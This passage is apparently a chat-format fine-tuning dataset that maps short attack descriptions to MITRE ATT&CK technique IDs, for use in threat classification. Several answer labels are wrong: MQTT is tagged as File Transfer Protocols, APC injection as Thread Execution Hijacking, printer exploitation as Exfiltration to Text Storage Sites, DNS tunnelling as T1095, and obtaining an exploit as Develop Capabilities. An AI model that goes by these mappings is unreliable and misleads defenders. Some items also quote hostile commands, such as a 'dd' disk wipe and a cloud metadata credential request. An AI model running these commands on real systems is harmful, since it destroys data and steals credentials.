                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy malware component injects a PowerShell script into a benign process's thread using APC injection, then resumes the thread to run the script."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses SMTP STARTTLS to encrypt exfiltrated data within email payloads, making detection harder."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware uses the MQTT protocol to publish and subscribe to command topics on a compromised IoT broker."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker loads a malicious kernel module at boot time to achieve persistent code execution on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script runs \"net accounts\" to retrieve the minimum password length and lockout policy on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker obtains a licensed vulnerability scanning tool to identify exploitable weaknesses in target environments."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker creates a task in the Windows Task Scheduler that invokes a reverse shell on boot."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renames system files with random characters to evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets a malicious DLL as the Winlogon notification package for auto‑execution on login."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivered a malicious executable that had all debug symbols removed and the payload stripped, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves the contents of the user's local email cache files and prepares them for theft."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is delivered via an LNK file where the icon is swapped for a trusted program's icon to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A destructive payload executed 'dd if=/dev/urandom of=/dev/sdb bs=1M' to corrupt the secondary disk."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the LDAP directory and performs a search for objectClass=user to list domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Office Application Startup vector, the adversary configures Outlook to display a crafted web page at startup to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts credential data from the NTDS.dit and SYSTEM files on a domain controller to perform Pass-the-Hash attacks."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code executed \"shred\" on critical configuration files, making them unrecoverable after the attack."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a volumetric attack by sending massive amounts of traffic to the victim's network edge, saturating ISP bandwidth and causing outages."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By registering a malicious TLS callback in the target process, the malware ensures its code executes each time a thread is created."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the file association for .zip archives in the registry, the attacker ensures that a compromised compression utility runs and extracts a payload."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies an existing service's binary path to point to a malicious executable, achieving persistence via service execution."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set the Outlook startup page to a remote malicious site, causing the user’s Outlook to load the content upon launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor establishes a TFTP session to move payloads onto compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable web application to execute code on a backend server, then moves laterally via internal network shares."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor hijacked the MySQL server process by inserting a malicious user-defined function to execute system commands."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts PowerShell profile scripts that contain hard-coded credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks the SAML response during the single sign‑on process, injecting a forged assertion to obtain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts WHOIS searches to retrieve the administrative and technical contacts for the target's website."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary issues the Linux command \"awk -F: '{print $1}' /etc/passwd\" to list usernames on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Exchange Web Services API with stolen credentials to enumerate and retrieve recent emails from compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains extra Azure storage account keys from a misconfigured configuration file to read sensitive blobs."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider changes the database encryption settings to use a 56‑bit DES key, significantly weakening data protection."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a massive flood of ARP requests on the local network, saturating the switch’s processing capacity and causing service disruption."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor compromises a remote desktop session and logs every keystroke entered through the graphical interface."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat adds its command-and-control client as a login item in macOS to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits a misconfigured web server to gain a foothold and then harvests exploit kits targeting unpatched software."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses credential dumping to obtain sensitive login credentials?"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals research the organizational chart of the target to pinpoint individuals with privileged roles."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used a zero‑day vulnerability in the operating system kernel to inject a malicious driver, expanding their access and functionality."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse a vulnerability in the operating system's authentication module to bypass multi‑factor authentication and hide their presence."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor placed a fraudulent code‑signing certificate on the victim machine to legitimize malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Visual Basic script is employed to read and encrypt files in the user's Documents folder before uploading them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured public S3 bucket to harvest and download private documents."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages searchable certificate databases to locate expired or misissued certificates tied to the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group employs cloud SDK commands to enumerate all objects in a private bucket to find configuration files."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of printer vulnerabilities for data theft"
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool uses the Windows 'certutil -encode' command to Base64-encode data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages reflective loading to dynamically load and execute additional modules directly from memory, evading file‑based alerts."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects into a process and replaces the CredentialUIValidate function to capture typed passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the at command, the attacker sets up a one‑time task that runs a PowerShell script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A misconfigured OpenShift API server permits unauthenticated GET requests to the /apis/oauth.openshift.io/v1/oauthaccesstokens endpoint, leaking service account tokens used by containers."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a compromised subdomain to serve phishing pages that mimic the victim’s legitimate web service."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails were crafted to appear as Facebook security alerts, leading users to enter their passwords on a spoofed login portal."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads the 'InstallLocation' value under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to locate installed applications."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group enumerated open ports on the target’s external IP range using a mass scanner."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet sends the command \"shutdown -s -t 60\" to infected machines, scheduling a shutdown in one minute."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script sends a GET request to 169.254.169.254/latest/meta-data/iam/security-credentials/ to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a Python interpreter embedded in a legitimate application to run code that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a hidden .timer unit that calls a data exfiltration script every night at 2 AM via systemd."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection persists by overwriting the pre‑OS bootloader with a malicious version that loads additional ransomware components."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal a Kerberos ticket-granting ticket from a compromised host and reuse it to authenticate to other services."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet-controlled devices generate continuous HTTP POST requests to a login page, preventing legitimate users from accessing it."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ junk data injection into email attachments, adding random binary blobs to conceal the presence of the true malicious macro."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted HEIC image is shared through a cloud storage link; the user's device processes the image and unintentionally runs a malicious script embedded within it."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized icon (ICO) file is attached to a phishing email; clicking the attachment runs a PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its server by sending data over DNS queries, leveraging the protocol as a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor hijacks an existing Citrix ICA session to exfiltrate sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign results in the attacker creating a new user profile on the endpoint to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker obtains an exploit for a remote code execution flaw in a common VPN product to augment their toolset."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts reconnaissance by scanning CDN edge caches for residual files that disclose internal service configurations."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows Command Prompt to run \"net user\" commands for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deployed a counterfeit SSL certificate on the victim's web server to intercept and modify encrypted communications."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker lists all objects in an AWS S3 bucket to locate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the XSL processing functionality of a software component by providing a rogue XSL stylesheet that runs a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a predictable cookie format, the adversary creates a counterfeit authentication cookie to hijack a user's session."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts system service discovery by invoking API call EnumServicesStatusExW on Windows."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
